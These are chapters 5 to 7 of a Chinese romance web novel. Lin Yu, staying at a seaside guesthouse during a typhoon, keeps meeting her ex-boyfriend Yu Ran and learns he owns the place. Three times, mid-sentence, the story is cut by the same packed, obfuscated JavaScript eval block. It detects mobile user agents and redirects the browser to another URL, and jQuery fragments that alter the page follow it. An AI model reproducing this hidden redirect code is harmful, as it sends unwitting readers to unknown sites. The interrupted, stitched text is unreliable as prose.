她骤然清醒，想起她和于燃约好一起去看新上的电影。 她回拨过去。 电话那头于燃的语气带笑，问她：“鱼鱼不想和我约会了吗？不接我电话，在干什么？我可是从机场出来就直奔电影院的，只有这一点休息时间。” 林余立马认错：“对不起哥哥，我睡过了，呜呜呜，原谅我吧！” 接着，她试探：“电影已经开场了吧，我们看下一场好不好？现在太晚了，只能看午夜场，你累不累？”感冒发烧都是小病，睡一觉就好。于燃也很忙，林余不想让他担心。 电话那头没人说话了，久到林余以为他已经挂断，于燃的声音才再次传来：“鱼鱼，我有点生气，也不喜欢你有事不告诉我。” 后来，于燃来给她送药，冲剂已经泡好，装进保温杯里，还有一大袋胶囊和止咳液。于燃把她搂进怀里，用额头贴她的额头，蹭了蹭，给她简单讲了讲各种药的吃法，催促她进去。 远远地，他的声音传来：“鱼鱼，不舒服就不去，多考虑自己。” 林余回头看他。 彼时已是深夜，明明于燃自己也满身疲惫，刚从国外飞回来。 林余从来不是多迟钝的人，她知道，于燃是真的这么认为。 那时的他们多好，亲密无间，拼命地为彼此着想。 又有客人点单，远远地举手招人。 林余突然兴致全无，一点也不想争输赢了，好像两年过去，只有她依旧抓着过去不放，她冲于燃点点头，不再看他：“燃哥，你忙，我要在这住一段时间，下次再聊。” 也许下次就没有勇气开口了，于燃已经走远，林余有气无力地靠在顾启月怀里，忽视她震惊的眼神，用她的手臂盖住了自己的眼睛。 “他就是我前男友，你们知道的。” 顾启月瞪大眼睛，震惊，碎碎念：“我就知道长得帅的男人没一个好东西，他长得就一副不正经样......”顾启月一向认为林余现在这颓废的状态和她大学谈的这段恋爱有密不可分的关系，毕竟林余宣布分手后不久，跟完比赛的最后一点进程，成绩就迅速下滑，也退出了所有社团组织。 她把手拿开，去看林余的表情。 林余那双下垂的狗狗眼就这么静静的看向顾启月，没有不该有的情绪，就好像于燃对她来说已经成了过路人。 “我并不是因为他才改变。”而是在改变之后，他们才分手的。 林余因为喝了酒，脸上染上红晕，连带着那双平日里总沉静的下垂眼眸也显出几分湿漉漉来，她笑了笑，高举起手来。 “喝！喝到雨停！”出来玩就是要开心！ 但南方的潮湿雨季着实可怕，林余喝到只剩最后一丝模糊意识，还能听到窗外淅淅沥沥的雨声风声。 程嘉运趴在桌上，帽子丢在一边，早不省人事，顾启月虽然没喝酒，但也在清吧舒缓的音乐下打起了瞌睡，已经很晚了。 林余浑浑噩噩地站起来，朝外面走去。 雨势早没有刚开始那么大了，可还是很恼人地下着。 推开门，林余无力地靠在走廊墙壁边上，凉风让酒又醒三分。 清吧在一楼偏僻处，民宿回廊曲折，无法直接看到大门口，旁边是高耸笔直的椰树，葱翠的枝叶隐藏在极深的夜色之中，摇摇晃晃，看不真切，只传来沙沙的响声。 林余视线扫过，突然定在一处。 那边站着一个男人，身量挺拔，闲散地站在靠近雨丝的那头。 好眼熟，不认识。 于燃也注意到她了，指尖的猩红闪烁，再归于黑暗，“林余？”他走近。 男人身量很高，走到面前来时几乎挡住了所有的光。 林余此时正无力地倚靠在墙上，眼神没有焦距，在他的注视下，艰难抬头，集中注意力。 于燃伸手扶住她，勾起唇笑了：“特意出来找我的？你那小男朋友呢？” 林余脑袋发蒙，看向于燃搭上她胳膊的那只手，再将自己的手搭上去。 林余的手冰凉柔软，肌肤相触时激起一连串细小的战栗，更显得另外一方温度滚烫，于燃脸色微变：“林余，你知道你在做什么吗？” 两人许久未动。 林余迟钝地接收对方的话语。 当然知道。她要挥开这只手。 她皱了皱鼻子，也真的这么做了，醉鬼没有情商：“你谁？臭死了。”好奇怪的人，动作奇怪，说的话也奇怪。 说罢，她转身就走。 却被人扯住胳膊，喝醉了本来就没力气，这一扯又用力了，林余往后倒，摔进一个温暖宽厚的怀抱里，炎夏，衣服穿得都薄，可以清晰感知到身后人呼吸的起伏，她回头看，还是刚刚那个怪人。 怪人叹了一口气，低下头问她：“你去哪，我送你。” “回家。” 怪人扶她站稳，走在她前边一点，身边的凉风都减弱不少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093805|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你知道我家在哪？”林余警惕问。 怪人点头，反问她：“你要住多久？” “三个月。” “三个人住还是两个人住？” “一个人。” 怪人似乎是有些惊讶，脚步都停了，再问：“不会因为你前夫哥在这就不住了吧？” 林余听见关键词，一个机灵，酒一下被吓醒了，她定睛一看，站在她旁边的人，正正好是于燃。 人生往往就是这样，就在你以为刚刚的尴尬已经足够回味三个月的时候，总会有下一件事情将其掩盖。 只有更尴尬，没有最尴尬。 再说于燃，这所谓的前夫哥。 林余从没见有人会称呼自己为“前夫哥”的，很值得自豪吗？ 两年不见，他脸皮更厚了。 她抿着唇，闷不做声地往前走着。 偏偏旁边的人极没有眼色，还以为她尚未清醒，翻来覆去地说着那些车轱辘话，核心意思是，前夫哥不希望他的存在打扰到你，两年了，大家心平气和也挺好的，一直说到她房门前。 在用房卡刷开房门前，林余回头看了眼于燃，忽然笑开，她笑得有些痴，酒劲还没有下去似的，脸颊红红的，像树梢上最饱满的苹果。 她向前一步。 于燃不由停顿下来，后退半步。 “我有好多个前夫哥呢？你说的是谁啊？”她歪头，满脸疑惑地发问，不给于燃再开口的机会，迅速把门关上。 于燃却把手握在门上，随着林余关门的动作，手与坚硬的墙壁发生撞击。 林余察觉到不对，赶紧松手，借着昏暗的玄关灯，可以看见于燃的手背红了一圈，隐隐有血痕。 他却恍若未觉，将门拉开，高大的身躯逼近。 “你……”于燃开口，神情隐匿在暗光下，看不真切，用力按住门的手仿佛才感觉到疼痛似的，沿着门框慢慢松开。 于燃笑得很体面：“忘了说了，晚安。” 林余重重将门关上，两年不见，于燃真是体面过了头，前女友说出这种话还不忘说晚安。 她脱鞋，踉踉跄跄地到餐桌边，给自己倒了一杯冰水。 手机亮了亮，是顾启月问她去哪里了。 林余简单回了下，说自己头晕回房间休息了。 紧接着，她滑动微信界面，找到路潇玉的微信。 指尖悬停良久，终于是按了下去。 林余：你好，你们民宿一室一厅多少钱？我想租三个月。 时间已经来到了凌晨三点，那边居然也没睡，几乎是秒回。 路潇玉：好的没问题！这是我们民宿的价位表，您可以看看。 路潇玉：我们民宿风景优美，远离市区的喧闹，又有尘世的繁华，基础设施完善，各种海景、人文关怀应有尽有...... 他后面那一长串话林余都没注意看，只点开价目表，沉默半晌，打出了一行字。 林余：哥，面谈吧，我今晚喝得有点多，现在有点不清醒。 她放下手机，走进浴室，滚烫的水流细细密密地洒下来，就像海城今夜接连不断的雨水，打得人思绪模糊。她今天套了冰袖，洗澡时取下，青龙栩栩如生，似乎要借着雨势腾飞出去，可于燃掌心温度却将它镇压。 直到现在，还尚有余温残存。 不希望打扰到她？ 两年没有长进又怎么样？她就是在意，就是不能落下风，就是要挣个输赢。 谁叫于燃自己凑过来的？ 哼。 5. 第 5 章 次日林余醒来，头顶的灯黯淡，耳边是屋外鼓噪喧嚣的风，猛烈地一下下敲打着，厚重的窗帘拉着，看不清外面的景色。 台风来了。 宿醉让脑袋疼痛不已，连带着腹中绞痛，饿的。 她想找片药吃，却恍然想起除了几件衣服，她再没有任何东西带到海城来。 算了，也还能忍。 林余揉着肚子慢慢起身，拉开窗帘一看，不远处的大海波涛汹涌，比树还要高的海浪一下下拍打在礁石上。 客厅里也一片黑暗，只有电视亮着莹莹微光，细看之下，还有两人坐在地上，聚精会神地看着电视，屏幕里的内容与台风天一般阴森恐怖，一人面容惊恐，跑在一眼望不到头的狭窄甬道，呼吸声清晰可闻，犹豫着要不要回头。 林余移开目光，戴上冰袖，悄无声息地路过，她准备先去吃点东西。 打开手机，已经八点了，希望民宿提供的免费晚餐还能剩点热的。 手机里有几个显眼的未接来电，是她妈打过来的。看轨迹，应该是先在微信里发了消息，诸如“鱼鱼吃饭没有？吃是什么？“去哪玩了？”“海城刮台风了，据说是十年最大，小心一点”之类的话。 等到了后面，就更加着急，责令她半个小时之内必须给她打电话。 林余回了条消息：“妈，和顾启月程嘉运在看电影，没注意到。台风天打雷呢，打电话危险，等明天给你回。” 等处理完，林余已经站在三楼走廊的中间段了。民宿走廊铺着一层厚厚的隔音地毯，灯光明亮刺眼，可走廊上空无一人，林余走在脚踩在地上没发出声音。 她从小面对神神鬼鬼的东西就很怕，尽管理性上知道是假的，但脑子总会在夜深人静独自一人时不受控制地发散。 她回想起刚刚匆匆一瞥时看到的电影情节，里面的人物逃跑时的甬道好像和她现在所处的环境很像，走廊尽头鲜红的消防设备也变得有些渗人，不由得加快脚步。 民宿的小餐厅在一楼，在大厅的拐角处有一个茶水间，可以打热水，林余顺手抽出纸杯，摁下出水键。 门嘎吱一声响，有人进来了。 来人没有发出任何声响，礼貌地停留在社交距离里，林余弯腰时却不小心看见了一双黑色的鞋，她心跳一顿。 随即又反应过来，是自己太过于大惊小怪。 于是她调整神色，恢复到面无表情，下垂的狗狗眼里不再有情绪，挺起腰，侧身，喝水，先让后面的人打。 可却在转身时见到身后人要笑不笑的神色。 恐怖片带来的恐惧瞬间被冲淡，林余现在什么都不怕了，无比清楚地认识到自己身处现实世界。 于燃今天又戴着他那副金丝眼镜，左眼下的那枚小痣格外惹人，嘴角清浅地荡开弧度，点了点头。 林余冲他打了声招呼：“好巧。” 于燃收起放在她面上的目光，笑着回她：“刚醒？昨晚喝得太多，头疼了吗？民宿里备有醒酒药，我给你拿点。” 似乎昨日起的一点摩擦，全然不被他放在心上。 林余最烦他这幅大度的模样，摇头：“我已经吃过了。” 说罢，她不给于燃反应的机会，转身就走。 她讨厌无效社交，太虚伪了。 林余今天状态奇差，走了好一会，才发现后面跟着个人，她回头，果不其然，是于燃。 正在后面不远不近的坠着，察觉到她回头，十分自然地就走到她身边。 她默默在心里叹气，随便找了个话题。 “现在正是清吧热闹的时候，你不上班了？” 于燃与她并肩，低头看她。 林余只到他肩膀多一点，过分苍白的脸上挂着大大的黑眼圈，一双眼睛虽然看他，人却已经游离了。 “没事，老板好说话。我去吃饭，你呢？” 但愿于燃的老板真的好说话，能让她砍价砍多一点。 “我也是。”林余点点头，手里纸杯被微微攥紧，温热的水蒸气让手心微微潮湿，她换了一只手拿。 于燃很自然的接过。 林余看了眼，倒没有很诧异。 于燃性格就这样。 记得第一次见于燃，是在一个饭局。 林余被读研究生的表姐带着去吃饭，却在同一家饭店遇见了表姐的导师。 她们林家人年轻一辈向来胆子大得很，表姐武能上房揭瓦，文能打圈敬酒，见了导师倒是跟老鼠见了猫一样，搓着手，谄媚地笑着：“张老师，您听我解释，我刚刚真的在写代码，只是我妹妹肚子实在太饿了，才带她出来吃饭的。” 林余震惊地瞪大眼睛，表姐居然把锅甩到她头上，拿手去揪她衣摆，却被嘿嘿装傻的表姐一把抓住手，怎样都挣不脱了。 张教授带着一大帮研究生来这吃饭，扫表姐一眼，表姐就屁颠屁颠带着她去蹭饭了。 饭桌上，张教授有事离开，研究生们才活络起来，打趣：“林楚，今天老师叫你出来吃饭，你拒绝得这么干脆，原来是带学妹出来吃饭，早说啊，张老师又不是什么不通情达理的人。” 林余局促地坐在众人之间，听着他们讨论自己听不懂的话题，说着熟络的话语，一心只想当个透明人，没想到话头居然转到她这了。 “妹妹什么专业的？” “学妹多大了？” 她慢半拍地抬起头，狗狗眼里满是茫然，看得人保护欲上升。 林楚手一挥：“去去去，我妹刚上大一，还是同系学妹呢，你们别欺负她。” 对面笑，还在说话：“楚楚，学妹这么可爱，谁舍得欺负她？” “说起来，学妹名字里有个余，燃哥名字也有个于，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093806|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么有缘分，这不得认识认识，加个联系方式？” 那人话一说完，整场都陷入了一秒的寂静，林余有些尴尬，不知道该不该拿出手机，她连燃哥是谁都不知道。 “章中怀，教授名字也有个张，你要不要再和他仔细认识认识？” 研究生们纷纷发出哀嚎，话题引向无情老板压榨学生的话题上。 林余看向出声的人。 男人坐得离她很有一段距离，只能看到侧脸，以及眼下一枚小痣，笑容清浅，骨节分明的手端着酒杯，正不紧不慢地摇晃着，察觉到她的视线，视线懒懒看向她，桃花眼不笑也似有三分笑意，看着分外和蔼可亲，朝她点了点头。 剩下的种种太过漫长，回忆也需要很长时间。 但于燃就是这种性格，教养良好，很擅长在别人需要帮助时施以援手。 “到了。”于燃拉开门，做了个请的手势。 林余轻声道谢。 现在不是饭点，餐厅里已经没人了。 只有一个民宿员工正在收拾餐具，见到有客人来，她眼睛一亮：“老...” “还有饭吧，给我们来两份。”于燃停在餐桌前。 餐厅不是很大，约莫着只能容纳十几个人。 于燃拉开椅子，做了个请的手势。 于燃：“这里靠窗，风景不错，还是你想坐里面？” “不用了，就这吧。”林余看一眼窗外，狂风大作，吹得树枝东倒西歪，没个形状，天也灰蒙蒙一片，不知道风景好在哪里。 不一会，两份热气腾腾的饭菜就做好了。 服务员微笑：“今日民宿免费晚餐是咖喱鸡，请慢用。” 她是来民宿工作一年了，民宿的晚间供餐时间是下午五点到七点，雷打不动，从不为任何人破例。 老板神龙见首不见尾，鲜少到这里来吃饭，没想到今天老板不仅来吃饭了，还破天荒地给她发消息，让做两份咖喱鸡，真是奇怪，奇怪。 于燃看她一眼，服务员赶紧收起笑容，继续去收拾后厨了。 两人吃饭，都没有说话。 过了好一会，林余快要吃完饭了，于燃冷不丁问她：“昨天那个人呢？没陪你一起来？” 林余疑惑：“谁？”顾启月还是程嘉运？ 于燃停顿一瞬，眼睛看向窗外，此时正下大雨。 海城就是这样，身处华国最南方，冬天也比某些地方秋天暖和，但有得必有失，雨水很多，特别是夏天，格外阴晴不定，可能天气预报说未来一周都是晴天，第二天就给你来一场倾盆大雨。 他道：“你那对象啊。” 林余正喝着水，闻言一愣，脑子转了个弯才反应过来。 程嘉运当然不是她男朋友，但她也懒得对于燃解释这点。 于是她呛道：“他来不来关你什么事？” 6. 第 6 章 于燃沉默，细致地吃着咖喱鸡，似乎这不是咖喱鸡，而是什么国宴。 林余神色有些震惊，又夹杂着些恼怒，眼睛瞪得圆圆的，连带着漆黑的瞳孔似乎都有些扩大。 他解释：“就是觉得人多，热闹。” 人在无语的时候，是真的会笑一下算了。 林余心里觉得荒谬，于燃这个解释毫无逻辑，可是纠结这个问题也没什么必要，也许真的是他这些年一直在海城酒吧里摇冰块，忍受不了这样冷清的氛围呢？ 她饿极了，不再和于燃对话，埋头吃饭。 菜单里，一份咖喱鸡正常买要花三十，让人心中一紧。 民宿每天能提供一顿免费餐，可每日菜谱固定，不一定每天都能吃上喜欢的菜，而且人一天不能只吃一顿。 旅游城市的物价，恐怖如斯。 哪怕林余大学四年存了点钱，也不能这样花。 她下定决心找个挣钱的路子，民宿的价钱也得想办法砍下来。 正想着，窗外狂风大作，吹得雨滴倾斜，窗户发出啪啪的声响，似乎下一刻玻璃就要碎了，吓人的很。 林余看向于燃，他餐盘里还有一半的饭，还在慢条斯理地吃着。 一直是于燃毫无芥蒂地凑过来，林余吃完，不觉得自己有什么等人的义务，道一声先走了，立刻干脆起身离开。 小叶来收拾餐具，麻利地把林余那份收走，擦桌子，一边忍了又忍，八卦地问：“老板，刚刚那个女生是谁啊？” 于燃看向门口，林余已经不见踪影了。 好半晌，直到小叶后知后觉开始忐忑自己越界了，于燃才开口：“一个朋友。” 他吃完最后一口饭，把餐盘递给小叶，又恢复笑意：“辛苦，今天做得不错，继续加油。” * 林余吃饱喝足，又看了眼时间，还不到九点，顾启月和程嘉运的电影估计还没有演完，不如在民宿周围逛逛，消消食。 可惜台风天，只能在室内走走了。 清吧首先被排除，于燃吃完饭，一定会回去上班，她不想让于燃以为自己是来找他的。 那就是除了清吧，其他地方都可以去了。 一楼大厅，除了值守的前台，便没什么人了。 台风天，大家都躲到屋子里去了。 转过身，书架中间的留言墙面积十分宽广，她一个一个仔细看过去。 除了先前料想的那些前程啊家人啊明星啊之类的东西，游客们还写下了不少关于海城的信息，如西海区卖的海鲜最新鲜，就是有些宰客；雪月滩上海岛错落，运气好可以看到鲸鱼。 除此之外，留言墙里出现频率较高的，还有民宿老板，关键词是，民宿老板、帅以及数不清的感叹号。 林余疑惑，脑子里不由浮现出于燃的面孔，他那双桃花眼随便笑笑，应该也能蛊惑一众小姑娘，可居然都没有人夸调酒师帅，那这老板得帅成什么人神共愤的模样。 希望帅哥老板有慈悲心肠，可以给她算便宜一点。 留言墙底部有便利贴和笔，中间还有梯子，两边做了加固，只要不闭着眼睛往下跳都不会出事，供人往高处贴。 林余拿起便利贴和笔，爬上最高处，先把便利贴粘上去，思忖着要写些什么好。 祝自己和家人身体健康？太过俗套。表白喜欢的明星？暂时没有。找个好工作或者早日上岸？算了。 此时电闪雷鸣，朋友在楼上看恐怖电影，本人毕业后一事无成，来到离家一千多公里的海城，宿醉方醒，还和前男友一起吃了晚饭。 荒谬感自坐上开往海城的列车后便一路尾随。 林余提笔要写：希望一切回到正轨。 可上天偏偏要让戏剧性与不真实性再上一层。 毫无预兆的，一层天花板的大灯闪了闪，快到林余以为是自己眼花了。 霎时间，室内一片黑暗。 楼层里来自不同房间的游客齐齐发出一阵惊呼，竟然在隔音良好的一楼也听得一清二楚。 笔掉在地上发出清脆响声，便利贴也轻飘飘落在了地上。 林余倒没有那么慌乱。 停电嘛，她在宿醉刚睁开眼时就设想过了。 现在要做的，是从楼梯上下来，并走回房间，顾启月和程嘉运的恐怖片应该也没法看了。三人可以点着蜡烛玩斗地主。 只是，漆黑一片，要怎么从楼梯上下来而不受伤，倒变成了个难题。 林余果断求助。 “你好，有人在吗？” “我被困在楼梯上了，需要帮助！”她记得前台应该是有一个工作人员的。 果然，前台处传来一道年轻的女声：“我在这，您先别急。您大约在哪个位置，可以下来吗？”声音由远及近，前台也渐渐靠近林余。 林余竭力睁大眼睛，想看清底下，但很遗憾，她本身视力就不佳，此时又没有一点光源，无论多努力都无法看清。 明明留言墙的最顶端，在爬上来时也没觉得有多高，但未知让一切都不确定起来。 “我在最上面。”林余回答她。 前台更急了，她想起来之前有一回，一个老头从上面摔下来，人都骨折了：“您先不要动，我们民宿有备用电源，电力系统马上就能恢复了。” “你用手机打灯，我看看能不能下去。”林余冷静思索着解决方案，等电来不知道要等多久，打个灯的事。 “哦，对对。”前台反应过来，退后两步，很快，一道光线就射来，有些微弱，但也能勉强看清梯子上的台阶。 她用手用力握着梯子两边的扶手，一步步往下走去。 此时一片寂静，前台连呼气都不敢大声，就怕林余摔下来了。 就在这时，装在兜里的手机突然震动，铃声响起，居然有人这时候给她打电话。 她当然不可能接，继续往下走着。 但前台却被吓了一跳，摇晃间，手机的光线有几秒没有对准脚下的梯子。 “小心！”前台惊呼。 林余一脚踏空。 人倒霉的时候，真是喝口水都塞牙缝。 骤然的落空带来一阵恐慌，所幸是在室内，梯子再高也没有多高，顶多摔得身上青紫，再扭个脚，虽然疼也不至于伤筋动骨。 可预想中的疼痛并没有袭来。 相反，林余落入一个温暖的怀抱里，淡淡的烟草味和男士香水味扑面而来，混合成一股无比熟悉又陌生的味道。 来人牢牢将她抱在怀里，甚至往上颠了颠，完全地包裹住她，温热的呼吸洒在脖颈之间，甚至还能感受到鼻尖一擦而过脖子，下坠感终于结束，林余下意识用手抱住来人的脖子。 “没事吧？”男人问她。 林余摇摇头，手脚并用的从于燃身上爬下来，狗狗眼微微湿润，抬眼看人时可怜可爱，说出的话却不怎么动听。 “于燃，你怎么在这？”他不应该还在慢吞吞地吃饭吗？ 于燃不动声色地把还悬着的手收回，道：“我听见你的声音，就往这边看了一眼。” 手机还在不厌其烦的响着，林余看了眼罪魁祸首，干脆利落地摁断，眼里鲜活的情绪褪去，整个人变得沉静起来，她把散乱的刘海拨向脑后。 “谢谢你，燃哥，改天请你吃饭，连带着上次的一起补回来。”她指的是火车上那次。 反正不管是这次还是上次，于燃也都是好心。 她想，好心推导出了好结果，怎么说都是她赚了，应该是要好好谢谢他的。 “燃哥？”于燃桃花眼眯起，似乎是在问她，不跟他闹别扭，玩什么分手后尴尬的小游戏了？ “嗯。我先走了。”她往楼梯处走去，手机灯光由两盏变一盏，光线霎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093807|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时暗了一大把，她小心翼翼地往前走去。 昏暗的楼梯间渐渐将她吞没。 忽的，一束明亮的光照来。 林余诧异地回过头，强光的来源是于燃，他拿着真正的手电筒。 男人依旧闲散地站着，作为拿着光源的人，他的眉眼倒是隐藏在黑暗中，只能看见领口处衬衫的扣子散开两粒，依稀露出锁骨与强壮有力的胸部肌肉，再往上是微微弯起的嘴角，其他的再看不分明。 “怎么不走了？”他开口，声音里是惯有的愉悦感，不见其他情绪，“我送你。” “叫我一声燃哥，就当我们冰释前嫌了，怎样？” 不如何。林余没回他，沉默地往前走。 前方的楼梯一览无余，甚至比往日还要清楚明了，林余观察到平时根本不会注意到的细节，比如楼梯的扶手上，居然雕刻有细细的海浪，每到转角时扶手上立着的小雕塑居然是海豚。 如果不带任何情感因素，理智地评价两年前这段感情，他们已经比大多数情侣好了，谁都没有犯原则性错误，只是要走的路不一样了，就自然而然的分开了。 可是真的很不爽，她自认为已经尽到了身为前女友应尽的义务，就算见面了也没有去打扰他，是于燃见义勇为的保护欲上来了，擅自撕破了平静的表面。 一股脑地把不知道从哪里来的好心善意倾斜到她的身上，也不问问她这个当事人需不需要。 林余越想越气，甚至开始暗自懊恼为什么没有在于燃说什么冰释前嫌时就回怼。 不过现在也不晚，他们已经走到她房间门口了。 似乎是有意复刻昨晚的场面，林余回头，再次冲于燃笑了，狗狗眼一弯，要多真诚有多真诚，勾勾手，示意于燃靠近。 待到于燃真的低头弯腰，凑到她面前来时，林余才收敛起笑意，仔细地逡巡着于燃的面孔。 林余说话：“如果我说，我不想当朋友呢？”她的声音很轻，尾音软而绵长，天生擅长营造似是而非的氛围，似海城夜晚下，最清澈的海浪也变得如墨般深邃，赤脚走在海边，海浪打在肌肤上，清凉而粘稠。 于燃的表情随着她的表情而变化，也变得严肃认真起来，桃花眼收敛起外放的虚浮情绪时很是缱绻，罕见地没有反应过来，问她：“什么意思？” 林余有一瞬间的晃神，很快反应过来，有些得意地笑：“字面意思。” 于燃骤然拉近与她的距离，紧紧地盯着她，完全不复刚才的游刃有余：“林余，你知道你在说什么吗？”你知道这意味着什么吗？ 拉近的距离与身高差让林余感受到了压迫感，两人离得过近，手电筒往旁边照去，反而让于燃的半张脸都隐没在黑暗里，看不清表情。 林余往后退去，直到后背抵上冰冷坚硬的门。 怎么回事，她放狠话的环节，怎么还让于燃占了上风？ 她伸出手，抵住于燃的胸膛，被他肌肤温度的炽热吓到，却还是坚定地放上去，然后，推开。 她当然知道她在说什么，谁要和前男友冰释前嫌，两人有什么好相互原谅的，当个陌生人保持距离不就很好吗？ 林余拧眉看向于燃，已经打好了腹稿，准备狠狠扳回一城。 就在这时，身后紧闭的大门突然开了。 林余吓了一跳，身体惯性地往后倒去幸好身后的人扶住了她。 程嘉运走出门口，将林余挡在身后，薄唇抿紧，表情说不上好看，他记得这个男人，是林余的前男友，站在他们门口，准没好事。 谁料于燃视线只轻轻从他身上飘过，似乎带着一种...怜悯和不屑？ “时间不早，我先走了，明天见。” 程嘉运关上门，问林余：“你去哪了？他什么意思？” 林余随手拿起玄关处一瓶水，狠狠灌下一大半，回：“他有病，别管他。” 7. 第 7 章 停电并非民宿一处停电，而是整条街道都停电了，所幸海城政府修缮得力，很快就修好了。 受台风影响，海城的雨还在一刻不停的下着，林余一行人的海城之旅难以进行，只能呆在民宿消遣。 林余没事做，便早早约了路潇玉谈民宿租金的事情。 她一向守约，提前十分钟来到了民宿的招待室。 招待室空调开得很足，丝丝缕缕的凉意浸透进林余肌肤之中，即使是在炎热的夏天，也有点让人招架不住。 林余摸摸胳膊，抬眼看向民宿的工作人员。 今天来接待她的是一个瘦弱女生，戴着一副黑框眼镜，与她对上视线后又立马转移，有些紧张的咽了口口水，问她：“林小姐，我们有椰汁、可乐、咖啡，您想喝些什么？” 林余知道，她今日的装扮是有效的。 她今日又换上了火车上那副妆容，眼线改变了眼角的下垂，棕褐色的腮红与雀斑点在脸上，虽然没涂口黑，但看起来已然十分富有攻击性，更别提手臂上蜿蜒的青龙了。 她只要面无表情，便能显得非常不好惹。 这是林余近来摸索出的新风格，只要换上这幅打扮，谈什么都会更容易些。 当然，她并无恶意，只是想文明地试试能不能让价格稍微便宜一些。 “一杯冰水，谢谢。” 林余说话时柔软的嗓音与她的穿搭截然不同，工作人员稍稍放松了一些，她弯腰把水递到林余和路潇玉面前，有些同情地看了眼同样的抹汗的路潇玉，微笑：“林小姐，路哥，你们聊，我先出去了，有什么需要随时叫我。” 民宿的空调真是开得太足了，林余喝了口水，只觉凉意从内到外散到身上的每一个地方。 她她穿的是顾启月的衣服，略微宽大，裙子用黑色皮带牢牢系在腰上，到膝盖上面一点，此时不动声色地把暴露在空气中的两条纤细双腿交叠，双臂也环绕在胸前。 她只是觉得冷而已，可路潇玉显然不是这么想的。 他见林余动作，觉得她已经感到不耐烦了。 虽然道理他都懂，无论是怎样的顾客，首先都是一个人，人和人相处起来，总归就那几种方式，路潇玉自认为平日里也算是开朗外向，稳定过不少难搞的顾客。 可他却很少接触如林余这样的人，总有一些刻板印象在身上，好似得了潮人恐惧症，此时见她动作不耐烦，更是紧张，只默默催促着老板快点来。 职业素养支撑着路潇玉把价位表拿出来，递到林余面前，道：“林小姐，这是我们民宿常住的价位表，我可以再给您便宜点，但我权限有限。” “而且......”他一脸为难，他们老板虽然看起来好说话，但也真的只是看起来，这种事关民宿的原则底线的问题，他来民宿工作也算久了，还从来没见老板让步过。 要不是怕林余砸场子，他都不会叫老板过来，不过是浪费彼此的时间。 “而且什么？”林余坐在椅子上，身体放松地往后靠着，双手抱臂，那只青龙只露出半截在外面。 路潇玉闭眼，一连串不带喘气的说出来：“而且我们民宿生意很好老板一般都拒绝长租。” 他支撑着自己，对上大姐大那双冷漠无情的眼睛，视线落在他身上时有如实质，还透着一股什么都不在乎的不耐烦。 “不能再便宜点了吗？我租三个月。”林余哪怕是在讲价，表情也不见有一丝松动。 有的人面无表情，但心里已经妥协了。这间民宿虽然贵，但是位置很好，装修也好，房间也干净，每天都有人来打扫。 林余总是异地实习，经常自己租房，深知找房子之艰难，并且位置、价格、安全、装修总要有所舍弃，在她心里，这间民宿确实是非常好的选择。 主要是重新找房子实在是太麻烦了。 路潇玉被林余逼问的满头大汗，绞尽脑汁地想着委婉的话术，既能拒绝林余，又能不然大姐大拿茶杯砸他，但他已经给了他权限内最低价了。 林余还在等待他的回答。 路潇玉犹豫半晌，门口突然响起两声敲门声，他眼睛突然一亮，重获新生般松了一口气，道：“我们老板来了，林小姐，你们俩谈谈吧。” 他话音未落，接待室的磨砂玻璃门就被人推开了，林余对留言墙上的帅哥老板有些好奇，此时便也顺着动静看去。 却看到了一个意想不到的人。 她几乎下意识就把手背到身后，另一只白净的手撑着额头，假装在低头沉思。 就像学生见到老师，会下意识藏起手机一般，林余见到于燃，也会下意识藏起胳膊上的青龙。 怎么来的是于燃？ 于燃进来，站定，在她对面坐下，又自顾自地给三个人空着的水杯中都倒了热茶。 林余掩面，捧起水杯喝了一口，驱散几分凉意，心里也镇定几分，等待民宿老板出场。 老板倒是大牌，出场还得两名员工候着。 于燃再怎么样，也还不是得看老板脸色吃饭，聪明如他，必定是不会乱说话的。 于燃挑眉，视线从林余裸露着的腿上路过，又按住救星似看着他想要开口说话的路潇玉，开口道：“路子，拿张毛毯。” “看我这粗心的。”路潇玉敲了下自己的头，急忙往柜子处走去。 桌上就只剩林余和于燃两人了。林余沉住气，没看于燃一眼，也没有开口说话。 很快，路潇玉拿着毛毯来了，于燃递给她。 林余接过，礼貌道谢。 路潇玉重新坐下，看看于燃，又看看林余，有些摸不清现在是什么情况。 该不会老板也怕了吧，接送车上他给自己发的微信可是正义凛然，如今见了人倒是一句话也不说。 这时，于燃清了清嗓子，嗓音低沉带着微微的哑：“好久不见。” 于燃今日穿一件白衬衫，完美修饰出宽肩窄腰的好身材，桃花眼看向她，是一贯的轻松愉悦，让人好感倍增，眼下那枚小痣蛊人极了。 